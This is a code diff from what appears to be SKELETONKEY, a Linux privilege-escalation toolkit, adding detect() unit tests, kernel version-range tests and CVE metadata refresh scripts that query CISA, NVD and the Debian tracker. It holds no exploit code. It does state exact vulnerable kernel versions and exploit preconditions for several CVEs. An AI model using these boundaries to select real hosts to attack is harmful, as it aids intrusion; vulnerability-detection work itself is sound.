+	 * 7.0.10. The VULNERABLE/PRECOND_FAIL split below the fix depends on
+	 * whether the cifs.upcall userspace path is present; we drive that
+	 * deterministically with SKELETONKEY_CIFS_ASSUME_PRESENT (1=present,
+	 * 0=absent) so the rows don't depend on cifs-utils being installed on
+	 * the runner. Patched-kernel rows return OK before the probe, so they
+	 * need no override. */
+
+	/* patched branch (exact 6.12.90 backport) → OK regardless of cifs */
+	struct skeletonkey_host h_ciw_61290 =
+		mk_host(h_kernel_6_12, 6, 12, 90, "6.12.90-test");
+	run_one("cifswitch: 6.12.90 (exact backport) → OK via patch table",
+		&cifswitch_module, &h_ciw_61290,
+		SKELETONKEY_OK);
+
+	/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
+	struct skeletonkey_host h_ciw_710 =
+		mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
+	run_one("cifswitch: 7.1.0 above all backports → OK (mainline inherit)",
+		&cifswitch_module, &h_ciw_710,
+		SKELETONKEY_OK);
+
+	/* vulnerable kernel (one below 6.12.90) + cifs path present → VULNERABLE */
+	struct skeletonkey_host h_ciw_61289 =
+		mk_host(h_kernel_6_12, 6, 12, 89, "6.12.89-test");
+	setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "1", 1);
+	run_one("cifswitch: 6.12.89 + cifs.upcall present → VULNERABLE",
+		&cifswitch_module, &h_ciw_61289,
+		SKELETONKEY_VULNERABLE);
+
+	/* same vulnerable kernel but cifs path absent → PRECOND_FAIL */
+	setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "0", 1);
+	run_one("cifswitch: 6.12.89 but cifs-utils absent → PRECOND_FAIL",
+		&cifswitch_module, &h_ciw_61289,
+		SKELETONKEY_PRECOND_FAIL);
+	unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
+
+	/* ── nft_catchall (CVE-2026-23111) ───────────────────────────
+	 * Version-gated: predates-gate at catch-all set elements (~5.13),
+	 * then Debian backports 6.1.164 / 6.12.71 / 7.0.10, PLUS unprivileged
+	 * user_ns clone required (else PRECOND_FAIL). h_kernel_6_12 allows
+	 * userns; h_kernel_5_14_no_userns denies it. */
+
+	/* 5.12.50 predates catch-all set elements (~5.13) → OK */
+	struct skeletonkey_host h_nca_512 =
+		mk_host(h_kernel_6_12, 5, 12, 50, "5.12.50-test");
+	run_one("nft_catchall: 5.12.50 predates catch-all (~5.13) → OK",
+		&nft_catchall_module, &h_nca_512,
+		SKELETONKEY_OK);
+
+	/* 6.1.164 exact backport → OK via patch table */
+	struct skeletonkey_host h_nca_61164 =
+		mk_host(h_kernel_6_12, 6, 1, 164, "6.1.164-test");
+	run_one("nft_catchall: 6.1.164 (exact backport) → OK via patch table",
+		&nft_catchall_module, &h_nca_61164,
+		SKELETONKEY_OK);
+
+	/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
+	struct skeletonkey_host h_nca_710 =
+		mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
+	run_one("nft_catchall: 7.1.0 above all backports → OK (mainline inherit)",
+		&nft_catchall_module, &h_nca_710,
+		SKELETONKEY_OK);
+
+	/* 6.1.163 (one below the 6.1.164 backport) + userns → VULNERABLE */
+	struct skeletonkey_host h_nca_61163 =
+		mk_host(h_kernel_6_12, 6, 1, 163, "6.1.163-test");
+	run_one("nft_catchall: 6.1.163 + userns allowed → VULNERABLE",
+		&nft_catchall_module, &h_nca_61163,
+		SKELETONKEY_VULNERABLE);
+
+	/* 6.12.70 (one below the 6.12.71 backport) + userns → VULNERABLE */
+	struct skeletonkey_host h_nca_61270 =
+		mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
+	run_one("nft_catchall: 6.12.70 + userns allowed → VULNERABLE",
+		&nft_catchall_module, &h_nca_61270,
+		SKELETONKEY_VULNERABLE);
+
+	/* same vulnerable kernel but unprivileged userns denied → PRECOND_FAIL */
+	struct skeletonkey_host h_nca_nouserns =
+		mk_host(h_kernel_5_14_no_userns, 6, 1, 163, "6.1.163-nouserns-test");
+	run_one("nft_catchall: 6.1.163 but userns denied → PRECOND_FAIL",
+		&nft_catchall_module, &h_nca_nouserns,
+		SKELETONKEY_PRECOND_FAIL);
+
+	/* ── coverage report ─────────────────────────────────────────
+	 * Iterate the runtime registry (populated by skeletonkey_register_*
+	 * calls in main()) and warn for any module that was not touched
+	 * by at least one run_one() row above. Doesn't fail CI — listing
+	 * is informational so we can grow coverage incrementally without
+	 * blocking the build. */
+	{
+		size_t n_reg = skeletonkey_module_count();
+		size_t missing = 0;
+		for (size_t i = 0; i < n_reg; i++) {
+			const struct skeletonkey_module *m =
+				skeletonkey_module_at(i);
+			if (!m) continue;
+			bool found = false;
+			for (size_t j = 0; j < g_tested_count; j++) {
+				if (strcmp(g_tested_modules[j], m->name) == 0) {
+					found = true; break;
+				}
+			}
+			if (!found) {
+				if (missing++ == 0) {
+					fprintf(stderr,
+					    "\n[i] coverage: module(s) without "
+					    "a direct detect() test row:\n");
+				}
+				fprintf(stderr, "       - %s\n", m->name);
+			}
+		}
+		if (missing) {
+			fprintf(stderr, "[i] coverage: total %zu module(s) "
+				"need test rows (registry has %zu, tests touched %zu)\n",
+				missing, n_reg, g_tested_count);
+		} else {
+			fprintf(stderr, "[i] coverage: every registered module "
+				"has at least one direct test row (%zu/%zu)\n",
+				g_tested_count, n_reg);
+		}
+	}
 #else
 	fprintf(stderr, "[i] non-Linux platform: detect() bodies are stubbed; "
 			"tests skipped (would tautologically pass).\n");
@@ -495,6 +938,12 @@ static void run_all(void)
 int main(void)
 {
 	fprintf(stderr, "=== SKELETONKEY detect() unit tests ===\n\n");
+
+	/* Populate the runtime registry so the post-run coverage report
+	 * can iterate every module the main binary would. Same call used
+	 * by skeletonkey.c main(). */
+	skeletonkey_register_all_modules();
+
 	run_all();
 	fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
 		g_pass, g_fail);

tests/test_kernel_range.c

@@ -0,0 +1,222 @@
+/*
+ * tests/test_kernel_range.c — unit tests for the central kernel
+ * version-comparison helpers in core/kernel_range.c and core/host.c.
+ *
+ * These helpers are the foundation of the host-fingerprint pattern:
+ * every module that gates on kernel version routes through
+ * skeletonkey_host_kernel_at_least(),
+ * skeletonkey_host_kernel_in_range(), or kernel_range_is_patched().
+ * A regression in any of them silently mis-classifies entire CVE
+ * families. The detect() integration tests in test_detect.c exercise
+ * these indirectly via real modules; this file pins them down with
+ * direct boundary-condition assertions so failures point at the right
+ * file.
+ *
+ * Cross-platform: pure logic, no Linux syscalls. Runs identically on
+ * macOS dev builds and Linux CI.
+ */
+
+#include "../core/kernel_range.h"
+#include "../core/host.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+static int g_pass = 0;
+static int g_fail = 0;
+
+#define EXPECT(name, cond) do {                                         \
+	if (cond) {                                                     \
+		printf("[+] PASS  %s\n", (name));                       \
+		g_pass++;                                               \
+	} else {                                                        \
+		fprintf(stderr, "[-] FAIL  %s\n", (name));              \
+		g_fail++;                                               \
+	}                                                               \
+} while (0)
+
+/* ── kernel_range_is_patched ────────────────────────────────────────── */
+
+static void test_kernel_range_is_patched(void)
+{
+	/* Common single-branch-plus-mainline table: backport on 5.15.42,
+	 * mainline fix at 5.17.0. */
+	static const struct kernel_patched_from pf_5_15_5_17[] = {
+		{5, 15, 42},
+		{5, 17,  0},
+	};
+	const struct kernel_range r1 = { pf_5_15_5_17, 2 };
+
+	struct kernel_version v;
+
+	v = (struct kernel_version){5, 15, 42, NULL};
+	EXPECT("range: exact backport boundary (5.15.42) → patched",
+	       kernel_range_is_patched(&r1, &v));
+
+	v = (struct kernel_version){5, 15, 41, NULL};
+	EXPECT("range: one below backport (5.15.41) → vulnerable",
+	       !kernel_range_is_patched(&r1, &v));
+
+	v = (struct kernel_version){5, 15, 100, NULL};
+	EXPECT("range: well above backport on same branch (5.15.100) → patched",
+	       kernel_range_is_patched(&r1, &v));
+
+	v = (struct kernel_version){5, 17, 0, NULL};
+	EXPECT("range: mainline fix exact (5.17.0) → patched",
+	       kernel_range_is_patched(&r1, &v));
+
+	v = (struct kernel_version){5, 16, 0, NULL};
+	EXPECT("range: between branches (5.16.0) → vulnerable",
+	       !kernel_range_is_patched(&r1, &v));
+
+	v = (struct kernel_version){5, 14, 999, NULL};
+	EXPECT("range: branch below all entries (5.14.999) → vulnerable",
+	       !kernel_range_is_patched(&r1, &v));
+
+	v = (struct kernel_version){6, 12, 0, NULL};
+	EXPECT("range: newer mainline branch (6.12.0) → patched via inheritance",
+	       kernel_range_is_patched(&r1, &v));
+
+	/* Mainline-only entry — common pattern for a fresh CVE with no
+	 * stable backports yet. */
+	static const struct kernel_patched_from pf_7_0_only[] = {
+		{7, 0, 0},
+	};
+	const struct kernel_range r2 = { pf_7_0_only, 1 };
+
+	v = (struct kernel_version){6, 19, 99, NULL};
+	EXPECT("mainline-only: kernel below mainline (6.19.99) → vulnerable",
+	       !kernel_range_is_patched(&r2, &v));
+
+	v = (struct kernel_version){7, 0, 0, NULL};
+	EXPECT("mainline-only: at mainline (7.0.0) → patched",
+	       kernel_range_is_patched(&r2, &v));
+
+	v = (struct kernel_version){7, 5, 0, NULL};
+	EXPECT("mainline-only: above mainline (7.5.0) → patched",
+	       kernel_range_is_patched(&r2, &v));
+
+	/* Multi-LTS table mirroring real af_unix_gc layout. */
+	static const struct kernel_patched_from pf_multi[] = {
+		{4, 14, 326},
+		{4, 19, 295},
+		{5,  4, 257},
+		{5, 10, 197},
+		{5, 15, 130},
+		{6,  1,  51},
+		{6,  4,  13},
+		{6,  5,   0},
+	};
+	const struct kernel_range r3 = { pf_multi, 8 };
+
+	v = (struct kernel_version){5, 10, 196, NULL};
+	EXPECT("multi-LTS: 5.10.196 (one below backport) → vulnerable",
+	       !kernel_range_is_patched(&r3, &v));
+
+	v = (struct kernel_version){5, 10, 197, NULL};
+	EXPECT("multi-LTS: 5.10.197 (exact backport) → patched",
+	       kernel_range_is_patched(&r3, &v));
+
+	v = (struct kernel_version){6,  4, 12, NULL};
+	EXPECT("multi-LTS: 6.4.12 (just-added entry, below) → vulnerable",
+	       !kernel_range_is_patched(&r3, &v));
+
+	v = (struct kernel_version){6,  4, 13, NULL};
+	EXPECT("multi-LTS: 6.4.13 (just-added entry, exact) → patched",
+	       kernel_range_is_patched(&r3, &v));
+
+	v = (struct kernel_version){6,  2,  0, NULL};
+	EXPECT("multi-LTS: 6.2.0 (between LTS branches, no match) → vulnerable",
+	       !kernel_range_is_patched(&r3, &v));
+
+	v = (struct kernel_version){5,  8,  0, NULL};
+	EXPECT("multi-LTS: 5.8.0 (between LTS branches) → vulnerable",
+	       !kernel_range_is_patched(&r3, &v));
+
+	/* NULL safety. */
+	v = (struct kernel_version){5, 15, 42, NULL};
+	EXPECT("null safety: NULL range → false",
+	       !kernel_range_is_patched(NULL, &v));
+	EXPECT("null safety: NULL version → false",
+	       !kernel_range_is_patched(&r1, NULL));
+}
+
+/* ── skeletonkey_host_kernel_at_least ───────────────────────────────── */
+
+static void test_host_kernel_at_least(void)
+{
+	struct skeletonkey_host h = {0};
+	h.kernel.major = 6; h.kernel.minor = 12; h.kernel.patch = 5;
+
+	EXPECT("at_least: 6.12.5 ≥ 6.12.5 → true (exact)",
+	       skeletonkey_host_kernel_at_least(&h, 6, 12, 5));
+	EXPECT("at_least: 6.12.5 ≥ 6.12.4 → true",
+	       skeletonkey_host_kernel_at_least(&h, 6, 12, 4));
+	EXPECT("at_least: 6.12.5 ≥ 6.12.6 → false",
+	       !skeletonkey_host_kernel_at_least(&h, 6, 12, 6));
+	EXPECT("at_least: 6.12.5 ≥ 6.11.999 → true (lower minor)",
+	       skeletonkey_host_kernel_at_least(&h, 6, 11, 999));
+	EXPECT("at_least: 6.12.5 ≥ 6.13.0 → false (higher minor)",
+	       !skeletonkey_host_kernel_at_least(&h, 6, 13, 0));
+	EXPECT("at_least: 6.12.5 ≥ 5.0.0 → true (lower major)",
+	       skeletonkey_host_kernel_at_least(&h, 5, 0, 0));
+	EXPECT("at_least: 6.12.5 ≥ 7.0.0 → false (higher major)",
+	       !skeletonkey_host_kernel_at_least(&h, 7, 0, 0));
+
+	/* NULL host → false (don't crash). */
+	EXPECT("at_least: NULL host → false",
+	       !skeletonkey_host_kernel_at_least(NULL, 5, 0, 0));
+
+	/* Unpopulated host (major == 0) → false on any positive threshold:
+	 * a zero kernel version means we never probed; modules should
+	 * fail-safe by treating "unknown" as "below". */
+	struct skeletonkey_host h_zero = {0};
+	EXPECT("at_least: zeroed host (major=0) → false on any threshold",
+	       !skeletonkey_host_kernel_at_least(&h_zero, 5, 0, 0));
+}
+
+/* ── skeletonkey_host_kernel_in_range ───────────────────────────────── */
+
+static void test_host_kernel_in_range(void)
+{
+	struct skeletonkey_host h = {0};
+
+	/* Window [5.8.0, 5.17.0) — the classic mainline introduction/fix
+	 * pattern used by dirty_pipe and several others. */
+
+	h.kernel = (struct kernel_version){5, 8, 0, NULL};
+	EXPECT("in_range: 5.8.0 in [5.8.0, 5.17.0) → true (lo inclusive)",
+	       skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
+
+	h.kernel = (struct kernel_version){5, 16, 999, NULL};
+	EXPECT("in_range: 5.16.999 in [5.8.0, 5.17.0) → true (inside)",
+	       skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
+
+	h.kernel = (struct kernel_version){5, 17, 0, NULL};
+	EXPECT("in_range: 5.17.0 in [5.8.0, 5.17.0) → false (hi exclusive)",
+	       !skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
+
+	h.kernel = (struct kernel_version){5, 7, 999, NULL};
+	EXPECT("in_range: 5.7.999 below 5.8.0 → false",
+	       !skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
+
+	h.kernel = (struct kernel_version){6, 0, 0, NULL};
+	EXPECT("in_range: 6.0.0 above 5.17 → false",
+	       !skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
+
+	/* NULL host. */
+	EXPECT("in_range: NULL host → false",
+	       !skeletonkey_host_kernel_in_range(NULL, 5, 8, 0, 5, 17, 0));
+}
+
+int main(void)
+{
+	fprintf(stderr, "=== SKELETONKEY kernel_range unit tests ===\n\n");
+	test_kernel_range_is_patched();
+	test_host_kernel_at_least();
+	test_host_kernel_in_range();
+	fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
+		g_pass, g_fail);
+	return g_fail ? 1 : 0;
+}

tools/refresh-cve-metadata.py

@@ -0,0 +1,334 @@
+#!/usr/bin/env python3
+"""
+tools/refresh-cve-metadata.py — fetch CWE + KEV status for every CVE in the
+SKELETONKEY corpus from authoritative federal sources.
+
+Sources:
+  - CISA Known Exploited Vulnerabilities catalog
+    https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv
+    (authoritative for "is this exploited in the wild?")
+  - NVD CVE API 2.0
+    https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=...
+    (authoritative for CWE classification)
+
+The output is intentionally NOT auto-applied to module sources — drift
+between an external source and our embedded metadata should surface as
+a diff a human reviews. The tool produces:
+
+  docs/CVE_METADATA.json   machine-readable per-CVE record
+  docs/KEV_CROSSREF.md     human-readable KEV table
+
+Modules consume the JSON via copy-paste into their struct skeletonkey_module
+literal (attack_technique, cwe, in_kev, kev_date_added fields). The
+provenance comment in core/module.h points contributors back here.
+
+No API key required; the script throttles to NVD's anonymous 5-req/30s
+limit. ~3 minutes total for 26 CVEs.
+
+Usage:
+    tools/refresh-cve-metadata.py            # refresh + write outputs
+    tools/refresh-cve-metadata.py --check    # diff against committed JSON, exit 1 on drift
+
+Dependencies: stdlib only. Python 3.8+.
+"""
+
+import argparse
+import csv
+import io
+import json
+import os
+import sys
+import time
+import urllib.error
+import urllib.request
+from pathlib import Path
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+MODULES_DIR = REPO_ROOT / "modules"
+OUT_JSON = REPO_ROOT / "docs" / "CVE_METADATA.json"
+OUT_MD = REPO_ROOT / "docs" / "KEV_CROSSREF.md"
+OUT_C = REPO_ROOT / "core" / "cve_metadata.c"
+
+KEV_URL = "https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv"
+NVD_URL = "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve}"
+
+# Per NVD's anonymous rate limit: 5 requests per 30 seconds.
+NVD_DELAY_SECONDS = 7
+
+# Module → ATT&CK technique mapping. Almost all kernel/userspace LPEs
+# map to T1068 (Exploitation for Privilege Escalation). The two
+# exceptions are noted inline. This mapping is hand-curated; the
+# tool doesn't pull ATT&CK from any feed (MITRE doesn't publish a
+# clean CVE → technique CSV).
+ATTACK_MAPPING = {
+    # Default for every CVE not listed: T1068, no subtechnique.
+    "CVE-2022-0492": ("T1611", None),  # cgroup_release_agent — container escape
+    "CVE-2023-0458": ("T1082", None),  # entrybleed — kernel info leak, not LPE
+}
+
+
+def discover_cves() -> list[str]:
+    """Find every CVE-NNNN-NNNN id by scanning modules/<dir>/."""
+    cves = set()
+    for child in MODULES_DIR.iterdir():
+        if not child.is_dir():
+            continue
+        # Module dirs end in _cve_YYYY_NNNNN
+        parts = child.name.split("_cve_")
+        if len(parts) != 2:
+            continue
+        cve_tail = parts[1].replace("_", "-")
+        cves.add(f"CVE-{cve_tail}")
+    return sorted(cves)
+
+
+def fetch_kev_catalog() -> dict[str, str]:
+    """Return {cve_id: date_added_yyyy_mm_dd} from CISA's KEV CSV.
+
+    Python's urlopen sometimes times out on CISA's HTTP/2 endpoint
+    even though curl works fine; we try urlopen first with a 60s
+    budget, then fall back to shelling out to curl. Either way we
+    end up with the same CSV bytes."""
+    print(f"[*] fetching CISA KEV catalog ({KEV_URL})", file=sys.stderr)
+    data: str | None = None
+    try:
+        with urllib.request.urlopen(KEV_URL, timeout=60) as r:
+            data = r.read().decode("utf-8", errors="replace")
+    except urllib.error.URLError as e:
+        print(f"[!] urlopen failed ({e}); falling back to curl", file=sys.stderr)
+    if data is None:
+        import subprocess
+        try:
+            data = subprocess.check_output(
+                ["curl", "-fsSL", "--max-time", "60", KEV_URL],
+                stderr=subprocess.DEVNULL,
+            ).decode("utf-8", errors="replace")
+        except (subprocess.CalledProcessError, FileNotFoundError) as e:
+            print(f"[!] curl fallback also failed: {e}", file=sys.stderr)
+            sys.exit(1)
+    out: dict[str, str] = {}
+    reader = csv.DictReader(io.StringIO(data))
+    for row in reader:
+        cve = row.get("cveID", "").strip()
+        date = row.get("dateAdded", "").strip()
+        if cve:
+            out[cve] = date
+    print(f"[+] KEV catalog has {len(out)} entries", file=sys.stderr)
+    return out
+
+
+def fetch_nvd_cwe(cve: str) -> tuple[str | None, str | None]:
+    """Return (cwe_id, description) from NVD. Returns (None, None) on miss.
+
+    Same urlopen-hangs-silently pattern as the CISA fetch: NVD's HTTP/2
+    endpoint sometimes leaves Python sockets in CLOSE_WAIT forever even
+    though the 30s timeout should have fired (observed on macOS 2026-05-24,
+    process hung 55+ minutes). We try urlopen first, then fall back to
+    curl --max-time which honors the wall clock reliably."""
+    url = NVD_URL.format(cve=cve)
+    req = urllib.request.Request(url, headers={"User-Agent": "skeletonkey-cve-metadata/1"})
+    blob = None
+    try:
+        with urllib.request.urlopen(req, timeout=30) as r:
+            blob = json.loads(r.read().decode("utf-8"))
+    except urllib.error.HTTPError as e:
+        print(f"[!] NVD HTTP {e.code} for {cve}", file=sys.stderr)
+        return None, None
+    except (urllib.error.URLError, json.JSONDecodeError, TimeoutError) as e:
+        print(f"[!] NVD urlopen failed for {cve} ({e}); trying curl", file=sys.stderr)
+    if blob is None:
+        import subprocess
+        try:
+            raw = subprocess.check_output(
+                ["curl", "-fsSL", "--max-time", "20",
+                 "-H", "User-Agent: skeletonkey-cve-metadata/1",
+                 url],
+                stderr=subprocess.DEVNULL,
+            )
+            blob = json.loads(raw.decode("utf-8"))
+        except (subprocess.CalledProcessError, FileNotFoundError,
+                json.JSONDecodeError) as e:
+            print(f"[!] NVD curl fallback failed for {cve}: {e}", file=sys.stderr)
+            return None, None
+    vulns = blob.get("vulnerabilities") or []
+    if not vulns:
+        return None, None
+    cve_obj = vulns[0].get("cve", {})
+    # weaknesses: [{source, type, description: [{lang, value: "CWE-..."}]}]
+    for w in cve_obj.get("weaknesses", []) or []:
+        for d in w.get("description", []) or []:
+            v = d.get("value", "")
+            if v.startswith("CWE-"):
+                return v, None  # description not stored; CWE id alone is what we use
+    return None, None
+
+
+def attack_for_cve(cve: str) -> tuple[str, str | None]:
+    return ATTACK_MAPPING.get(cve, ("T1068", None))
+
+
+def short_module_name(cve: str) -> str:
+    """Find the directory under modules/ that ends with this CVE's tail."""
+    tail = cve.removeprefix("CVE-").replace("-", "_")
+    for child in MODULES_DIR.iterdir():
+        if child.is_dir() and child.name.endswith(f"_cve_{tail}"):
+            return child.name
+    return "?"
+
+
+def build_records(cves: list[str], kev: dict[str, str]) -> list[dict]:
+    records = []
+    for i, cve in enumerate(cves, 1):
+        print(f"[*] [{i:2d}/{len(cves)}] {cve}: NVD lookup", file=sys.stderr)
+        cwe, _ = fetch_nvd_cwe(cve)
+        tech, subtech = attack_for_cve(cve)
+        in_kev = cve in kev
+        rec = {
+            "cve": cve,
+            "module_dir": short_module_name(cve),
+            "cwe": cwe,
+            "attack_technique": tech,
+            "attack_subtechnique": subtech,
+            "in_kev": in_kev,
+            "kev_date_added": kev.get(cve, ""),
+        }
+        records.append(rec)
+        # Throttle NVD requests
+        if i < len(cves):
+            time.sleep(NVD_DELAY_SECONDS)
+    return records
+
+
+def _c_str(s: str | None) -> str:
+    """Render a Python str|None as a C string literal or NULL."""
+    if s is None:
+        return "NULL"
+    # only safe chars in our domain (CVE-/CWE-/T#### / dates) so no escaping needed
+    return f'"{s}"'
+
+
+def write_c_table(records: list[dict]) -> None:
+    """Generate core/cve_metadata.c from the JSON records."""
+    lines = [
+        "/*",
+        " * SKELETONKEY — CVE metadata table",
+        " *",
+        " * AUTO-GENERATED by tools/refresh-cve-metadata.py from",
+        " * docs/CVE_METADATA.json. Do not hand-edit; rerun the script.",
+        " * Sources: CISA KEV catalog + NVD CVE API 2.0.",
+        " */",
+        "",
+        '#include "cve_metadata.h"',
+        "",
+        "#include <stddef.h>",
+        "#include <string.h>",
+        "",
+        "const struct cve_metadata cve_metadata_table[] = {",
+    ]
+    for r in records:
+        lines.append("    {")
+        lines.append(f"        .cve                 = {_c_str(r['cve'])},")
+        lines.append(f"        .cwe                 = {_c_str(r['cwe'])},")
+        lines.append(f"        .attack_technique    = {_c_str(r['attack_technique'])},")
+        lines.append(f"        .attack_subtechnique = {_c_str(r['attack_subtechnique'])},")
+        lines.append(f"        .in_kev              = {'true' if r['in_kev'] else 'false'},")
+        lines.append(f"        .kev_date_added      = {_c_str(r['kev_date_added'])},")
+        lines.append("    },")
+    lines += [
+        "};",
+        "",
+        "const size_t cve_metadata_table_len =",
+        "    sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);",
+        "",
+        "const struct cve_metadata *cve_metadata_lookup(const char *cve)",
+        "{",
+        "    if (!cve) return NULL;",
+        "    for (size_t i = 0; i < cve_metadata_table_len; i++) {",
+        "        if (strcmp(cve_metadata_table[i].cve, cve) == 0)",
+        "            return &cve_metadata_table[i];",
+        "    }",
+        "    return NULL;",
+        "}",
+        "",
+    ]
+    OUT_C.write_text("\n".join(lines))
+    print(f"[+] wrote {OUT_C.relative_to(REPO_ROOT)}", file=sys.stderr)
+
+
+def write_outputs(records: list[dict]) -> None:
+    OUT_JSON.parent.mkdir(parents=True, exist_ok=True)
+    OUT_JSON.write_text(json.dumps(records, indent=2) + "\n")
+    print(f"[+] wrote {OUT_JSON.relative_to(REPO_ROOT)}", file=sys.stderr)
+    write_c_table(records)
+
+    # KEV cross-reference table
+    in_kev = [r for r in records if r["in_kev"]]
+    not_in_kev = [r for r in records if not r["in_kev"]]
+    lines = [
+        "# CISA KEV Cross-Reference",
+        "",
+        "Which SKELETONKEY modules cover CVEs that CISA has observed exploited",
+        "in the wild per the Known Exploited Vulnerabilities catalog.",
+        "Refreshed via `tools/refresh-cve-metadata.py`.",
+        "",
+        f"**{len(in_kev)} of {len(records)} modules cover KEV-listed CVEs.**",
+        "",
+        "## In KEV (prioritize patching)",
+        "",
+        "| CVE | Date added to KEV | CWE | Module |",
+        "| --- | --- | --- | --- |",
+    ]
+    for r in sorted(in_kev, key=lambda r: r["kev_date_added"]):
+        lines.append(
+            f"| {r['cve']} | {r['kev_date_added']} | {r['cwe'] or '?'} | `{r['module_dir']}` |"
+        )
+    lines += [
+        "",
+        "## Not in KEV",
+        "",
+        "Not observed exploited per CISA — but several have public PoC code",
+        "and are technically reachable. \"Not in KEV\" is not the same as",
+        "\"safe to ignore\".",
+        "",
+        "| CVE | CWE | Module |",
+        "| --- | --- | --- |",
+    ]
+    for r in sorted(not_in_kev, key=lambda r: r["cve"]):
+        lines.append(f"| {r['cve']} | {r['cwe'] or '?'} | `{r['module_dir']}` |")
+    lines.append("")
+    OUT_MD.write_text("\n".join(lines))
+    print(f"[+] wrote {OUT_MD.relative_to(REPO_ROOT)}", file=sys.stderr)
+
+
+def check_drift() -> int:
+    """Exit 1 if the committed JSON differs from a fresh fetch."""
+    if not OUT_JSON.exists():
+        print(f"[!] no committed {OUT_JSON.name} — run without --check first", file=sys.stderr)
+        return 1
+    committed = json.loads(OUT_JSON.read_text())
+    fresh = build_records(discover_cves(), fetch_kev_catalog())
+    if committed == fresh:
+        print("[+] CVE_METADATA.json is current", file=sys.stderr)
+        return 0
+    print("[!] CVE_METADATA.json drifted — refresh via "
+          "`tools/refresh-cve-metadata.py`", file=sys.stderr)
+    return 1
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(description=__doc__.splitlines()[1])
+    ap.add_argument("--check", action="store_true",
+                    help="diff against committed metadata; exit 1 on drift")
+    args = ap.parse_args()
+    if args.check:
+        return check_drift()
+    cves = discover_cves()
+    print(f"[*] {len(cves)} CVE(s) in corpus", file=sys.stderr)
+    kev = fetch_kev_catalog()
+    records = build_records(cves, kev)
+    write_outputs(records)
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

tools/refresh-kernel-ranges.py

@@ -0,0 +1,346 @@
+#!/usr/bin/env python3
+"""
+tools/refresh-kernel-ranges.py — Detect drift between each module's
+kernel_patched_from table and Debian's security-tracker data.
+
+The repo's no-fabrication rule (CVES.md) means every kernel_range
+threshold has to come from a real, citeable source. Debian's
+security tracker is the most reliable per-CVE backport list — it's
+machine-readable and updated continuously by the Debian security
+team. This script:
+
+  1. Fetches https://security-tracker.debian.org/tracker/data/json
+     (cached at /tmp/skeletonkey-debian-tracker.json, 12h TTL).
+  2. Scans every modules/*/skeletonkey_modules.c for
+     `kernel_patched_from <name>[] = { {M, m, p}, ... };` arrays and
+     their corresponding `.cve = "CVE-..."` entry.
+  3. For each module, compares the table against Debian's tracked
+     fixed-versions for that CVE.
+  4. Reports:
+       missing branch       — Debian has a fix at X.Y.Z; our table
+                              has no X.Y entry. The module's detect()
+                              would say VULNERABLE on a Debian host
+                              that's actually patched.
+       too-tight threshold  — Our X.Y.Z is HIGHER than Debian's fix
+                              version; our module would call a
+                              fixed host vulnerable. False-positive.
+       info (more conservative) — Our threshold is LOWER than
+                              Debian's; we accept earlier kernels
+                              as patched. Could be intentional or
+                              could mean we have stale data.
+
+Usage:
+    tools/refresh-kernel-ranges.py            # human report
+    tools/refresh-kernel-ranges.py --json     # machine-readable
+    tools/refresh-kernel-ranges.py --patch    # propose C-source edits
+    tools/refresh-kernel-ranges.py --refresh  # force re-fetch
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import sys
+import time
+import urllib.request
+
+CACHE = "/tmp/skeletonkey-debian-tracker.json"
+TRACKER_URL = "https://security-tracker.debian.org/tracker/data/json"
+CACHE_TTL_SEC = 12 * 3600
+
+
+# ── tracker fetch ────────────────────────────────────────────────────
+
+def fetch_tracker(force_refresh: bool = False) -> dict:
+    """Return the parsed Debian tracker JSON. Cached at /tmp with 12h TTL."""
+    if not force_refresh and os.path.exists(CACHE):
+        age = time.time() - os.stat(CACHE).st_mtime
+        if age < CACHE_TTL_SEC:
+            print(f"[*] using cached tracker ({CACHE}, age {int(age)}s)",
+                  file=sys.stderr)
+            with open(CACHE) as f:
+                return json.load(f)
+    print(f"[*] fetching {TRACKER_URL} ...", file=sys.stderr)
+    req = urllib.request.Request(
+        TRACKER_URL,
+        headers={"User-Agent": "skeletonkey/refresh-kernel-ranges"},
+    )
+    with urllib.request.urlopen(req, timeout=120) as r:
+        data = r.read()
+    os.makedirs(os.path.dirname(CACHE), exist_ok=True)
+    with open(CACHE, "wb") as f:
+        f.write(data)
+    print(f"[*] tracker cached: {len(data) // 1024} KB", file=sys.stderr)
+    return json.loads(data)
+
+
+# ── module source parsing ────────────────────────────────────────────
+
+# Some modules have multiple .cve entries (e.g. dirty_frag_esp +
+# dirty_frag_esp6 share the same CVE). Pull the first one.
+RE_CVE = re.compile(r'\.cve\s*=\s*"(CVE-\d{4}-\d{4,7})"')
+RE_TABLE = re.compile(
+    r'kernel_patched_from\s+(\w+)\s*\[\]\s*=\s*\{([^}]+(?:\}[^}]*)*?)\}\s*;',
+    re.MULTILINE,
+)
+RE_ENTRY = re.compile(r'\{\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\}')
+
+
+def find_modules(repo_root: str):
+    """Yield {name, src, cve, table, table_name, table_span} per module.
+
+    `table_span` is (start, end) byte offsets of the array body for
+    --patch mode that wants to edit the source. `table` is a list of
+    (major, minor, patch) tuples in source order."""
